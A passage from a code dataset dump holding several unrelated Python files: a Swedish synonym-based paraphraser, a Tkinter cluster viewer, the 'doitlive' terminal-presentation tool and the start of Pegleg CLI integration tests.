{'word': '', 'index': 0, 'diff' : -np.inf}\r\n for j, candidate in enumerate(candidate_words):\r\n candidate_synonyms = self.get_synonyms(candidate['word'])\r\n\r\n if candidate_synonyms == None:\r\n continue\r\n original = (candidate['word'], self.get_score(candidate['word'], candidate['index'], source_data[i]))\r\n best_synonym = original\r\n synonym_count = 0\r\n for synonym in candidate_synonyms:\r\n synonym = self.get_inflection(candidate, synonym)\r\n if synonym is None:\r\n continue\r\n synonym_count += 1\r\n # Calculate score for the synonym and compare to the current best\r\n score = self.get_score(synonym, candidate['index'], source_data[i])\r\n if score > best_synonym[1]:\r\n best_synonym = (synonym, score)\r\n\r\n diff = score - original[1]\r\n\r\n if best_candidate['diff'] < diff:\r\n best_candidate['word'] = synonym\r\n best_candidate['index'] = candidate['index']\r\n best_candidate['diff'] = diff\r\n print(f'New best candidate: {synonym} with score {diff}')\r\n\r\n # Build paraphrase sentence\r\n if best_synonym[0] != candidate['word']:\r\n new_sentence = ''\r\n for (k, w) in enumerate(source_data[i].split()):\r\n if k == candidate['index'] and best_synonym[0] != w:\r\n new_sentence += best_synonym[0]\r\n replacements += 1\r\n print(f'Replaced word {w} with {best_synonym[0]}')\r\n else:\r\n new_sentence += w\r\n if k < len(doc.sentences[0].words)-1:\r\n new_sentence += ' '\r\n source_data[i] = new_sentence\r\n\r\n # Assure at least one word is replaced with a synonym\r\n if replacements == 0 and best_candidate['word'] != '':\r\n print(best_candidate.items())\r\n new_sentence = ''\r\n for (k, w) in enumerate(source_data[i].split()):\r\n if k == best_candidate['index']:\r\n new_sentence += best_candidate['word']\r\n else:\r\n new_sentence += w\r\n if k < len(doc.sentences[0].words)-1:\r\n new_sentence += ' '\r\n source_data[i] = new_sentence\r\n\r\n print(f'{i} sentences done')\r\n print(source_data[i])\r\n print(paraphrases[i])\r\n print('\\n')\r\n with open('synonym_samples_final.txt', 'a') as f:\r\n f.write(source_data[i] + '\\n')\r\n\r\n return source_data\r\n\r\n\r\n def get_inflection(self, word, synonym):\r\n pos = POS[word['POS']]\r\n url = f\"https://ws.spraakbanken.gu.se/ws/karp/v4/query?q=extended||and|pos|equals|{POS[word['POS']]}||and|wf|equals|{synonym}&resource=saldom\"\r\n response = requests.get(url).json()['hits']\r\n\r\n if response['total'] == 0:\r\n return None\r\n\r\n msd = self.word_grammar(word)\r\n for i in range(len(response['hits'])):\r\n if response['hits'][i]['_source']['FormRepresentations'][0]['baseform'] in synonym:\r\n word_forms = response['hits'][i]['_source']['WordForms']\r\n\r\n for j in range(len(word_forms)):\r\n if word_forms[j]['msd'] == msd:\r\n if word['POS'] == 'NOUN' and 'Gender' in word.keys():\r\n inherent = 'n' if word['Gender'] == 'Neut' else 'u'\r\n if inherent != response['hits'][i]['_source']['FormRepresentations'][0]['inherent']:\r\n return None\r\n return word_forms[j]['writtenForm']\r\n\r\n\r\n def get_synonyms(self, word):\r\n synonyms = set()\r\n\r\n url = self.base_url + word\r\n html_doc = requests.get(url).text\r\n soup = BeautifulSoup(html_doc, 'html.parser')\r\n soup = soup.find(\"div\", {\"id\":\"dict-default\"})\r\n if soup == None:\r\n return None\r\n else:\r\n soup = soup.find(\"div\", {\"body\"}).ul\r\n for synset in soup.find_all('li'):\r\n for syns in synset.find_all('ol', class_=lambda x: not x):\r\n for synonym in syns.find_all('a'):\r\n if len(synonym.text.split()) > 1:\r\n continue\r\n synonyms.add(synonym.text)\r\n return synonyms\r\n\r\n def get_score(self, word, j, source_sentence):\r\n scores = []\r\n sentence_len = len(source_sentence.split())\r\n if sentence_len >= 3:\r\n if j >= 2:\r\n scores.append(self.model.logscore(word, source_sentence.split()[(j-2):(j-1)]))\r\n if j < sentence_len-2:\r\n scores.append(self.model.logscore(source_sentence.split()[j+2], [word, source_sentence.split()[j+1]]))\r\n if j >= 1 and j < sentence_len-1:\r\n scores.append(self.model.logscore(source_sentence.split()[j-1], [source_sentence.split()[j+1], word]))\r\n else:\r\n if j == 0:\r\n scores.append(self.model.logscore(source_sentence.split()[1], [word]))\r\n else:\r\n scores.append(self.model.logscore(word, [source_sentence.split()[0]]))\r\n score = sum(scores) / len(scores)\r\n return score\r\n\r\n def word_grammar(self, word):\r\n grammar = None\r\n if word['POS'] == 'ADJ':\r\n if 'Degree' not in word:\r\n return None\r\n if word['Degree'] == 'Pos':\r\n grammar = 'pos'\r\n elif word['Degree'] == 'Cmp':\r\n grammar = 'komp'\r\n if 'Case' in word.keys() and word['Case'] == 'Nom':\r\n grammar = grammar + ' nom'\r\n else:\r\n grammar = grammar + ' gen'\r\n return grammar\r\n elif word['Degree'] == 'Sup':\r\n grammar = 'super'\r\n if 'Case' in word.keys() and word['Case'] == 'Nom':\r\n grammar = grammar + ' nom'\r\n else:\r\n grammar = grammar + ' gen'\r\n return grammar\r\n\r\n if 'Definite' not in word:\r\n return None\r\n if word['Definite'] == 'Ind':\r\n grammar = grammar + ' indef'\r\n elif word['Definite'] == 'Def':\r\n grammar = grammar + ' def'\r\n\r\n if 'Number' in word.keys():\r\n if word['Number'] == 'Sing':\r\n grammar = grammar + ' sg'\r\n elif word['Number'] == 'Plur':\r\n grammar = grammar + ' pl'\r\n\r\n if 'Gender' in word.keys() and word['Gender'] == 'Neut':\r\n grammar = grammar + ' n nom'\r\n else:\r\n grammar = grammar + ' u nom'\r\n\r\n elif word['POS'] == 'ADV':\r\n if 'Degree' not in word:\r\n return None\r\n else:\r\n if word['Degree'] == 'Pos':\r\n grammar = 'pos'\r\n elif word['Degree'] == 'Cmp':\r\n grammar = 'komp'\r\n elif word['Degree'] == 'Sup':\r\n grammar = 'super'\r\n\r\n elif word['POS'] == 'VERB':\r\n if word['VerbForm'] == 'Inf':\r\n grammar = 'inf'\r\n elif word['VerbForm'] == 'Sup':\r\n grammar = 'sup'\r\n elif 'Tense' in word.keys() and word['Tense'] == 'Past':\r\n grammar = 'pret ind'\r\n elif word['Mood'] == 'Ind':\r\n grammar = 'pres ind'\r\n elif word['Mood'] == 'Imp':\r\n grammar = 'imper'\r\n return grammar\r\n\r\n if 'Voice' in word.keys() and word['Voice'] == 'Act':\r\n grammar = grammar + ' aktiv'\r\n else:\r\n grammar = grammar + ' s-form'\r\n\r\n # if\r\n elif word['POS'] == 'NOUN':\r\n if 'Number' not in word.keys():\r\n return None\r\n if word['Number'] == 'Sing':\r\n grammar = 'sg'\r\n elif word['Number'] == 'Plur':\r\n grammar = 'pl'\r\n\r\n\r\n if 'Definite' not in word.keys():\r\n return None\r\n elif word['Definite'] == 'Ind':\r\n grammar = grammar + ' indef'\r\n elif word['Definite'] == 'Def':\r\n grammar = grammar + ' def'\r\n\r\n if word['Case'] == 'Gen':\r\n grammar = grammar + ' gen'\r\n else:\r\n grammar = grammar + ' nom'\r\n\r\n return grammar\r\n\r\ndef main():\r\n corpus_file = 'svwiki2_xsmall'\r\n source_file = 'datasets/test.csv'\r\n paraphraser = SynonymParaphraser(corpus_file)\r\n paraphrases = paraphraser.generate_paraphrases(source_file)\r\n\r\n\r\nif __name__=='__main__':\r\n main()\r\n","sub_path":"synonym_paraphraser.py","file_name":"synonym_paraphraser.py","file_ext":"py","file_size_in_byte":11991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"4660843","text":"from Cluster import *\n\nfrom Tkinter import *\nimport tkFileDialog\nfrom idlelib import ScrolledList\nclass ChoiceBox(ScrolledList.ScrolledList):\n callBack = lambda i:None\n def setCallback(self, command):\n self.callBack = command\n def on_select(self, index):\n self.callBack(index)\n\nclass ClusterGui(Frame):\n size = 640,480\n def __init__(self,parent=None,**kw):\n Frame.__init__(self,parent,**kw)\n drawFrame = Frame(self)\n # canvas\n self.canvas = Canvas(drawFrame,width=self.size[0],height=self.size[1],\n bd=2,relief='sunken',bg='white')\n self.canvas.bind('<1>',self.leftClick)\n self.canvas.pack(side='left',expand=1,fill='both')\n\n self.list = ChoiceBox(drawFrame)\n #self.list.pack(side='right',expand=1,fill='y')\n\n drawFrame.pack(expand=1,fill='both')\n self.pack(expand=1,fill='both')\n def leftClick(self,event):\n w = 20\n x,y = event.x,event.y\n cluster = self.cluster\n v2index = cluster.eigen['v2index']\n sl = [max(x-w,0),max(y-w,0),\n min(x+w,self.size[0]),min(y+w,self.size[1])]\n indexes = set()\n for i,index in enumerate(v2index[sl[1]:sl[3]]):\n row = cluster.clusterMatrix[index]\n for j,jindex in enumerate(v2index[sl[0]:sl[2]]):\n val = row[jindex]\n if val != 0:\n indexes.add(index)\n indexes.add(jindex)\n self.list.clear()\n for index in indexes:\n self.list.append(str(index))\n def setCluster(self,cluster):\n self.cluster = cluster\n M = len(cluster)\n #self.canvas['width'] = M\n #self.canvas['height'] = M\n v2index = cluster.eigen['v2index']\n for i,index in enumerate(v2index):\n row = cluster.clusterMatrix[index]\n crow = cluster.clusterMatrix[i]\n for j, jindex in enumerate(v2index):\n val,cval = row[jindex],crow[j]\n if val!=0:\n self.canvas.create_oval(j,i,j,i)\n \n\n\nif __name__=='__main__':\n fname = 'cluster_matrix.txt'\n if len(sys.argv)==2:\n fname = sys.argv[1]\n c = Cluster(fname)\n\n root = Tk()\n cgui = ClusterGui(root)\n cgui.setCluster(c)\n root.bind('<Control-q>',lambda e,s=sys:s.exit(0))\n root.mainloop()\n \n","sub_path":"tkCluster.py","file_name":"tkCluster.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"45481116","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n doitlive\n ~~~~~~~~\n\n A tool for \"live\" presentations in the terminal.\n\n :copyright: (c) 2014 by Steven Loria.\n :license: MIT, see LICENSE for more details.\n\"\"\"\n\nfrom __future__ import unicode_literals\nimport os\nimport sys\nimport re\nimport getpass\nimport socket\nimport subprocess\nfrom tempfile import NamedTemporaryFile\nfrom collections import OrderedDict\n\nimport click\nfrom click import echo, style, secho, getchar\nfrom click.termui import strip_ansi\n\n__version__ = '1.0'\n__author__ = 'Steven Loria'\n__license__ = 'MIT'\n\nenv = os.environ\nPY2 = int(sys.version[0]) == 2\nif not PY2:\n unicode = str\n basestring = (str, bytes)\n\nTHEMES = OrderedDict([\n ('default', '{user.cyan.bold}@{hostname.blue}:{dir.green} $'),\n\n ('sorin', '{cwd.cyan} {git_branch.green.square} '\n '{r_angle.red}{r_angle.yellow}{r_angle.green}'),\n\n ('nicolauj', '{r_angle.white}'),\n\n ('steeef', '{user.red} at {hostname.yellow} in {cwd.green} '\n '{git_branch.cyan.paren}\\n$'),\n\n ('redhat', '[{user}@{hostname} {dir}]$'),\n ('redhat_color', '[{user.cyan.bold}@{hostname.blue} {dir.green}]$'),\n\n ('walters', '{user}@{hostname.underlined}>'),\n ('walters_color', '{user.cyan.bold}@{hostname.blue.underlined}>'),\n\n ('minimal', '{dir} {git_branch.square} »'),\n ('minimal_color', '{dir.cyan} {git_branch.blue.square} »'),\n\n ('osx', '{hostname}:{dir} {user}$'),\n ('osx_color', '{hostname.blue}:{dir.green} {user.cyan}$')\n])\n\n\nESC = '\\x1b'\nRETURNS = {'\\r', '\\n'}\nOPTION_RE = re.compile(r'^#\\s?doitlive\\s+'\n '(?P<option>prompt|shell|alias|env|speed):'\n '\\s*(?P<arg>.+)$')\n\n\nTESTING = False\n\n\nclass TermString(unicode):\n \"\"\"A string-like object that can be formatted with ANSI styles. Useful for\n styling strings within a string.format \"template.\"\n \"\"\"\n\n def _styled(self, **styles):\n return TermString(style(self, **styles))\n\n # Colors\n\n @property\n def blue(self): return self._styled(fg='blue')\n @property\n def magenta(self): return self._styled(fg='magenta')\n @property\n def red(self): return self._styled(fg='red')\n @property\n def white(self): return self._styled(fg='white')\n @property\n def green(self): return self._styled(fg='green')\n @property\n def black(self): return self._styled(fg='black')\n @property\n def yellow(self): return self._styled(fg='yellow')\n @property\n def cyan(self): return self._styled(fg='cyan')\n @property\n def reset(self): return self._styled(fg='reset')\n\n # Styling\n\n @property\n def bold(self):\n return self._styled(bold=True)\n\n @property\n def blink(self):\n return self._styled(blink=True)\n\n @property\n def underlined(self):\n return self._styled(underline=True)\n\n @property\n def dim(self):\n return self._styled(dim=True)\n\n def _bracketed(self, left, right):\n if strip_ansi(self):\n return TermString(''.join([left, self, right]))\n else:\n return TermString('')\n\n @property\n def paren(self):\n return self._bracketed('(', ')')\n\n @property\n def square(self):\n return self._bracketed('[', ']')\n\n @property\n def curly(self):\n return self._bracketed('{', '}')\n\n\ndef get_current_git_branch():\n command = ['git', 'symbolic-ref', '--short', '-q', 'HEAD']\n try:\n proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n out, err = proc.communicate()\n return out.strip()\n except subprocess.CalledProcessError:\n pass\n return ''\n\n\n# Some common symbols used in prompts\nR_ANGLE = TermString('❯')\nR_ANGLE_DOUBLE = TermString('»')\nDOLLAR = TermString('$')\nPERCENT = TermString('%')\n\ndef get_prompt_state():\n full_cwd = os.getcwd()\n cwd_raw = full_cwd.replace(env['HOME'], '~')\n dir_raw = '~' if full_cwd == env['HOME'] else os.path.split(full_cwd)[-1]\n return {\n 'user': TermString(getpass.getuser()),\n 'cwd': TermString(cwd_raw),\n 'dir': TermString(dir_raw),\n 'hostname': TermString(socket.gethostname()),\n 'git_branch': TermString(get_current_git_branch()),\n # Symbols\n 'r_angle': R_ANGLE,\n 'r_angle_double': R_ANGLE_DOUBLE,\n 'dollar': DOLLAR,\n 'percent': PERCENT,\n }\n\n\ndef ensure_utf(string):\n return string.encode('utf-8') if PY2 else string\n\n\ndef run_command(cmd, shell=None, aliases=None, envvars=None, test_mode=True):\n shell = shell or env.get('DOITLIVE_INTERPRETER') or '/bin/bash'\n if cmd.startswith(\"cd \"):\n directory = cmd.split()[1]\n os.chdir(os.path.expanduser(directory))\n else:\n # Need to make a temporary command file so that $ENV are used correctly\n # and that shell built-ins, e.g. \"source\" work\n with NamedTemporaryFile('w') as fp:\n fp.write('#!{0}\\n'.format(shell))\n fp.write('# -*- coding: utf-8 -*-\\n')\n # Make aliases work in bash:\n if 'bash' in shell:\n fp.write(\"shopt -s expand_aliases\\n\")\n\n if envvars:\n # Write envvars\n for envvar in envvars:\n envvar_line = 'export {0}\\n'.format(envvar)\n fp.write(ensure_utf(envvar_line))\n\n if aliases:\n # Write aliases\n for alias in aliases:\n alias_line = 'alias {0}\\n'.format(alias)\n fp.write(ensure_utf(alias_line))\n cmd_line = cmd + '\\n'\n fp.write(ensure_utf(cmd_line))\n fp.flush()\n if test_mode:\n return subprocess.check_output([shell, fp.name])\n else:\n return subprocess.call([shell, fp.name])\n\ndef wait_for(chars):\n while True:\n in_char = getchar()\n if in_char == ESC:\n echo()\n raise click.Abort()\n if in_char in chars:\n echo()\n return in_char\n\ndef magictype(text, shell, prompt_template='default', aliases=None,\n envvars=None, speed=1, test_mode=False):\n prompt_func = make_prompt_formatter(prompt_template)\n prompt = prompt_func()\n echo(prompt + ' ', nl=False)\n i = 0\n while i < len(text):\n char = text[i:i + speed]\n in_char = getchar()\n if in_char == ESC:\n echo()\n raise click.Abort()\n echo(char, nl=False)\n i += speed\n wait_for(RETURNS)\n output = run_command(text, shell, aliases=aliases, envvars=envvars,\n test_mode=test_mode)\n if isinstance(output, basestring):\n echo(output)\n\ndef format_prompt(prompt):\n return prompt.format(**get_prompt_state())\n\n\ndef make_prompt_formatter(template):\n tpl = THEMES.get(template) or template\n return lambda: format_prompt(tpl)\n\n\ndef run(commands, shell='/bin/bash', prompt_template='default', speed=1,\n test_mode=False):\n secho(\"We'll do it live!\", fg='red', bold=True)\n secho('STARTING SESSION: Press ESC at any time to exit.', fg='yellow', bold=True)\n\n click.pause()\n click.clear()\n aliases, envvars = [], []\n for line in commands:\n command = line.strip()\n if not command:\n continue\n if command.startswith('#'):\n # Parse comment magic\n match = OPTION_RE.match(command)\n if match:\n option, arg = match.group('option'), match.group('arg')\n if option == 'prompt':\n prompt_template = arg\n elif option == 'shell':\n shell = arg\n elif option == 'alias':\n aliases.append(arg)\n elif option == 'env':\n envvars.append(arg)\n elif option == 'speed':\n speed = int(arg)\n continue\n magictype(command, shell, prompt_template=prompt_template, aliases=aliases,\n envvars=envvars, speed=speed, test_mode=test_mode)\n prompt = make_prompt_formatter(prompt_template)()\n echo(prompt + ' ', nl=False)\n wait_for(RETURNS)\n secho(\"FINISHED SESSION\", fg='yellow', bold=True)\n\n\n@click.version_option(__version__, '--version', '-v')\n@click.option('--shell', '-S', metavar='<shell>',\n default='/bin/bash', help='The shell to use.', show_default=True)\n@click.option('--speed', '-s', metavar='<int>', default=1, help='Typing speed.',\n show_default=True)\n@click.option('--themes-preview', '-T', is_flag=True, default=False,\n is_eager=True, help='Preview the available prompt themes.')\n@click.option('--themes', '-t', is_flag=True, default=False,\n is_eager=True, help='List the available prompt themes.')\n@click.option('--prompt', '-p', metavar='<prompt_theme>',\n default='default', type=click.Choice(THEMES.keys()),\n help='Prompt theme.',\n show_default=True)\n@click.argument('session_file', required=False, type=click.File('r', encoding='utf-8'))\n@click.command(context_settings={'help_option_names': ('-h', '--help')})\ndef cli(session_file, shell, speed, prompt, themes, themes_preview):\n \"\"\"doitlive: A tool for \"live\" presentations in the terminal\n\n \\b\n How to use:\n 1. Create a file called session.sh. Fill it with bash commands.\n 2. Run \"doitlive session.sh\"\n 3. Type like a madman.\n\n Press ESC or ^C at any time to exit the session.\n To see a demo session, run \"doitlive-demo\".\n \"\"\"\n if themes_preview:\n preview_themes()\n elif themes:\n list_themes()\n elif session_file is not None:\n run(session_file.readlines(),\n shell=shell,\n speed=speed,\n test_mode=TESTING,\n prompt_template=prompt)\n else:\n raise click.UsageError('Must provide a SESSION_FILE. '\n 'Run \"doitlive --help\" for more options.')\n\ndef preview_themes():\n secho('Theme previews:', bold=True)\n echo()\n for name, template in THEMES.items():\n echo('\"{}\" theme:'.format(name))\n echo(format_prompt(template), nl=False)\n echo(' command arg1 arg2 ... argn')\n echo()\n\ndef list_themes():\n secho('Available themes:', bold=True)\n echo(' '.join(THEMES.keys()))\n\n\nDEMO = [\n 'echo \"Greetings\"',\n 'echo \"This is just a demo session\"',\n 'echo \"For more info, check out the home page...\"',\n 'echo \"http://doitlive.rtfd.org\"'\n]\n\n\n@click.option('--shell', '-S', metavar='<shell>',\n default='/bin/bash', help='The shell to use.', show_default=True)\n@click.option('--speed', '-s', metavar='<int>', default=1, help='Typing speed.',\n show_default=True)\n@click.option('--prompt', '-p', metavar='<prompt_theme>',\n default='default', type=click.Choice(THEMES.keys()),\n help='Prompt theme.',\n show_default=True)\n@click.command()\ndef demo(shell, speed, prompt):\n \"\"\"Run a demo doitlive session.\"\"\"\n run(DEMO, shell=shell, speed=speed, test_mode=TESTING, prompt_template=prompt)\n\n\nif __name__ == '__main__':\n cli()\n","sub_path":"doitlive.py","file_name":"doitlive.py","file_ext":"py","file_size_in_byte":10980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"502834393","text":"# Copyright 2018 AT&T Intellectual Property. All other rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport shutil\n\nfrom click.testing import CliRunner\nimport mock\nimport pytest\n\nfrom pegleg import cli\nfrom pegleg.engine import errorcodes\nfrom pegleg.engine.util import git\nfrom tests.unit import test_utils\nfrom tests.unit.fixtures import temp_path\n\n\n@pytest.mark.skipif(\n not test_utils.is_connected(),\n reason='git clone requires network connectivity.')\nclass BaseCLIActionTest(object):\n \"\"\"Tests end-to-end flows for all Pegleg CLI actions, with minimal mocking.\n\n General pattern should be to include exactly one test that uses a remote\n repo URL and as many other tests that are required that use a local repo\n path for runtime optimization.\n\n All tests should validate that the ``exit_code`` from the CLI is 0 (for\n positive tests).\n\n \"\"\"\n\n # TODO(felipemonteiro): Need tests that validate repository overrides. Also\n # need to write tests that use a site-defintion.yaml with repositories key.\n\n @classmethod\n def setup_class(cls):\n cls.runner = CliRunner()\n\n # Pin so we know that airship-seaworthy is a valid site.\n cls.site_name = \"airship-seaworthy\"\n cls.site_type = \"foundry\"\n\n cls.repo_rev = '6b183e148b9bb7ba6f75c98dd13451088255c60b'\n cls.repo_name = \"airship-treasuremap\"\n repo_url = \"https://github.com/openstack/%s.git\" % cls.repo_name\n cls.treasuremap_path = git.git_handler(repo_url, ref=cls.repo_rev)\n\n\nclass TestSiteCLIOptions(BaseCLIActionTest):\n \"\"\"Tests site-level CLI options.\"\"\"\n\n ### clone_path tests ###\n\n def test_list_sites_using_remote_repo_and_clone_path_option(\n self, temp_path):\n \"\"\"Validates clone_path (-p) option is working properly with site list\n action when using remote repo. Verify that the repo was cloned in the\n clone_path\n \"\"\"\n # Scenario:\n #\n # 1) List sites (should clone repo automatically to `clone_path`\n # location if `clone_path` is set)\n\n repo_url = 'https://github.com/openstack/%s@%s' % (self.repo_name,\n self.repo_rev)\n\n # Note that the -p option is used to specify the clone_folder\n site_list = self.runner.invoke(\n cli.site, ['-p', temp_path, '-r', repo_url, 'list'])\n\n assert site_list.exit_code == 0\n # Verify that the repo was cloned into the clone_path\n assert os.path.exists(os.path.join(temp_path, self.repo_name))\n assert git.is_repository(os.path.join(temp_path, self.repo_name))\n\n def test_list_sites_using_local_repo_and_clone_path_option(\n self, temp_path):\n \"\"\"Validates clone_path (-p) option is working properly with site list\n action when using a local repo. Verify that the clone_path has NO\n effect when using a local repo\n \"\"\"\n # Scenario:\n #\n # 1) List sites (when using local repo there should be not cloning\n # even if the clone_path is passed in)\n\n repo_path = self.treasuremap_path\n\n # Note that the -p option is used to specify the clone_folder\n site_list = self.runner.invoke(\n cli.site, ['-p', temp_path, '-r', repo_path, 'list'])\n\n assert site_list.exit_code == 0\n # Verify that passing in clone_path when using local repo has no effect\n assert not os.path.exists(os.path.join(temp_path, self.repo_name))\n\n\nclass TestSiteCLIOptionsNegative(BaseCLIActionTest):\n \"\"\"Negative Tests for site-level CLI options.\"\"\"\n\n ### Negative clone_path tests ###\n\n def test_list_sites_using_remote_repo_and_reuse_clone_path_option(\n self, temp_path):\n \"\"\"Validates clone_path (-p) option is working properly with site list\n action when using remote repo. Verify that the same repo can't be\n cloned in the same clone_path if it already exists\n \"\"\"\n # Scenario:\n #\n # 1) List sites (should clone repo automatically to `clone_path`\n # location if `clone_path` is set)\n\n repo_url = 'https://github.com/openstack/%s@%s' % (self.repo_name,\n self.repo_rev)\n\n # Note that the -p option is used to specify the clone_folder\n site_list = self.runner.invoke(\n cli.site, ['-p', temp_path, '-r', repo_url, 'list'])\n\n assert git.is_repository(os.path.join(temp_path, self.repo_name))\n\n # Run site list for a second time to validate that the repo can't be\n # cloned twice in the same clone_path\n site_list = self.runner.invoke(\n cli.site, ['-p', temp_path, '-r', repo_url, 'list'])\n\n assert site_list.exit_code == 1\n msg = \"The repository already exists in the given path. Either \" \\\n \"provide a new clone path or pass in the path of the local \" \\\n \"repository as the site repository (-r).\"\n assert msg in site_list.output\n\n\nclass TestSiteCliActions(BaseCLIActionTest):\n \"\"\"Tests site-level CLI actions.\"\"\"\n\n ### Collect tests ###\n\n def _validate_collect_site_action(self, repo_path_or_url, save_location):\n result = self.runner.invoke(cli.site, [\n '-r', repo_path_or_url, 'collect', self.site_name, '-s',\n save_location\n ])\n\n collected_files = os.listdir(save_location)\n\n assert result.exit_code == 0, result.output\n assert len(collected_files) == 1\n # Validates that site manifests collected from cloned repositories\n # are written out to sensibly named files like airship-treasuremap.yaml\n assert collected_files[0] == (\"%s.yaml\" % self.repo_name)\n\n def test_collect_using_remote_repo_url(self, temp_path):\n \"\"\"Validates collect action using a remote URL.\"\"\"\n # Scenario:\n #\n # 1) Create temporary save location\n # 2) Collect into save location (should clone repo automatically)\n # 3) Check that expected file name is there\n\n repo_url = 'https://github.com/openstack/%s@%s' % (self.repo_name,\n self.repo_rev)\n self._validate_collect_site_action(repo_url, temp_path)\n\n def test_collect_using_remote_repo_url_ending_with_dot_git(\n self, temp_path):\n \"\"\"Validates collect action using a remote URL ending in .git.\"\"\"\n # Scenario:\n #\n # 1) Create temporary save location\n # 2) Collect into save location (should clone repo automatically)\n # 3) Check that expected file name is there\n\n repo_url = 'https://github.com/openstack/%s@%s.git' % (self.repo_name,\n self.repo_rev)\n self._validate_collect_site_action(repo_url, temp_path)\n\n def test_collect_using_local_path(self, temp_path):\n \"\"\"Validates collect action using a path to a local repo.\"\"\"\n # Scenario:\n #\n # 1) Create temporary save location\n # 2) Collect into save location (should skip clone repo)\n # 3) Check that expected file name is there\n\n repo_path = self.treasuremap_path\n self._validate_collect_site_action(repo_path, temp_path)\n\n ### Lint tests ###\n\n def _test_lint_site_action(self, repo_path_or_url, exclude=True):\n flag = '-x' if exclude else '-w'\n\n lint_command = ['-r', repo_path_or_url, 'lint', self.site_name]\n exclude_lint_command = [\n flag, errorcodes.SCHEMA_STORAGE_POLICY_MISMATCH_FLAG, flag,\n errorcodes.SECRET_NOT_ENCRYPTED_POLICY\n ]\n\n with mock.patch('pegleg.engine.site.util.deckhand') as mock_deckhand:\n mock_deckhand.deckhand_render.return_value = ([], [])\n result = self.runner.invoke(cli.site,\n lint_command + exclude_lint_command)\n\n assert result.exit_code == 0, result.output\n\n if exclude:\n # A successful result (while setting lint checks to exclude) should\n # output nothing.\n assert not result.output\n else:\n assert result.output\n\n def test_lint_site_using_remote_repo_url_with_exclude(self):\n \"\"\"Validates site lint action using remote repo URL.\"\"\"\n # Scenario:\n #\n # 1) Mock out Deckhand render (so we can ignore P005 issues)\n # 2) Lint site with exclude flags (should clone repo automatically)\n\n repo_url = 'https://github.com/openstack/%s@%s' % (self.repo_name,\n self.repo_rev)\n self._test_lint_site_action(repo_url, exclude=True)\n\n def test_lint_site_using_local_path_with_exclude(self):\n \"\"\"Validates site lint action using local repo path.\"\"\"\n # Scenario:\n #\n # 1) Mock out Deckhand render (so we can ignore P005 issues)\n # 2) Lint site with exclude flags (should skip clone repo)\n\n repo_path = self.treasuremap_path\n self._test_lint_site_action(repo_path, exclude=True)\n\n def test_lint_site_using_local_path_with_warn(self):\n \"\"\"Validates site lint action using local repo path.\"\"\"\n # Scenario:\n #\n # 1) Mock out Deckhand render (so we can ignore P005 issues)\n # 2) Lint site with warn flags (should skip clone repo)\n\n repo_path = self.treasuremap_path\n self._test_lint_site_action(repo_path, exclude=False)\n\n ### List tests ###\n\n def _validate_list_site_action(self, repo_path_or_url):\n mock_output = mock.Mock()\n result = self.runner.invoke(\n cli.site, ['-r', repo_path_or_url, 'list', '-o', mock_output])\n\n assert result.exit_code == 0, result.output\n table_output = mock_output.write.mock_calls[0][1][0]\n assert self.site_name in table_output\n assert self.site_type in table_output\n\n def test_list_sites_using_remote_repo_url(self):\n \"\"\"Validates list action using remote repo URL.\"\"\"\n # Scenario:\n #\n # 1) List sites (should clone repo automatically)\n\n repo_url = 'https://github.com/openstack/%s@%s' % (self.repo_name,\n self.repo_rev)\n\n self._validate_list_site_action(repo_url)\n\n def test_list_sites_using_local_path(self):\n \"\"\"Validates list action using local repo path.\"\"\"\n # Scenario:\n #\n # 1) List sites (should skip clone repo)\n\n repo_path = self.treasuremap_path\n self._validate_list_site_action(repo_path)\n\n ### Show tests ###\n\n def _validate_site_show_action(self, repo_path_or_url):\n mock_output = mock.Mock()\n result = self.runner.invoke(cli.site, [\n '-r', repo_path_or_url, 'show', self.site_name, '-o', mock_output\n ])\n\n assert result.exit_code == 0, result.output\n table_output = mock_output.write.mock_calls[0][1][0]\n assert self.site_name in table_output\n\n def test_show_site_using_remote_repo_url(self):\n \"\"\"Validates show action using remote repo URL.\"\"\"\n # Scenario:\n #\n # 1) Show site (should clone repo automatically)\n\n repo_url = 'https://github.com/openstack/%s@%s' % (self.repo_name,\n self.repo_rev)\n self._validate_site_show_action(repo_url)\n\n def test_show_site_using_local_path(self):\n \"\"\"Validates show action using local repo path.\"\"\"\n # Scenario:\n #\n # 1) Show site (should skip clone repo)\n\n repo_path = self.treasuremap_path\n self._validate_site_show_action(repo_path)\n\n ### Render tests ###\n\n def _validate_render_site_action(self, repo_path_or_url):\n render_command = ['-r', repo_path_or_url, 'render', self.site_name]\n\n with mock.patch('pegleg.engine.site.yaml') as mock_yaml:\n with mock.patch(\n 'pegleg.engine.site.util.deckhand') as mock_deckhand:\n mock_deckhand.deckhand_render.return_value = ([], [])\n result = self.runner.invoke(cli.site, render_command)\n\n assert result.exit_code == 0\n mock_yaml.dump_all.assert_called_once()\n\n def test_render_site_using_remote_repo_url(self):\n \"\"\"Validates render action using remote repo URL.\"\"\"\n # Scenario:\n #\n # 1) Mock out Deckhand render (so we can ignore P005 issues)\n # 2) Render site (should clone repo automatically)\n\n repo_url = 'https://github.com/openstack/%s@%s' % (self.repo_name,\n self.repo_rev)\n self._validate_render_site_action(repo_url)\n\n def test_render_site_using_local_path(self):\n \"\"\"Validates render action using local repo path.\"\"\"\n # Scenario:\n #\n # 1) Mock out Deckhand render (so we can ignore P005 issues)\n # 2) Render site (should skip clone repo)\n\n repo_path = self.treasuremap_path\n self._validate_render_site_action(repo_path)\n\n\nclass TestRepoCliActions(BaseCLIActionTest):\n \"\"\"Tests repo-level CLI actions.\"\"\"\n\n ### Lint tests ###\n\n def test_lint_repo_using_remote_repo_url_with_exclude(self):\n \"\"\"Validates repo lint action using remote repo 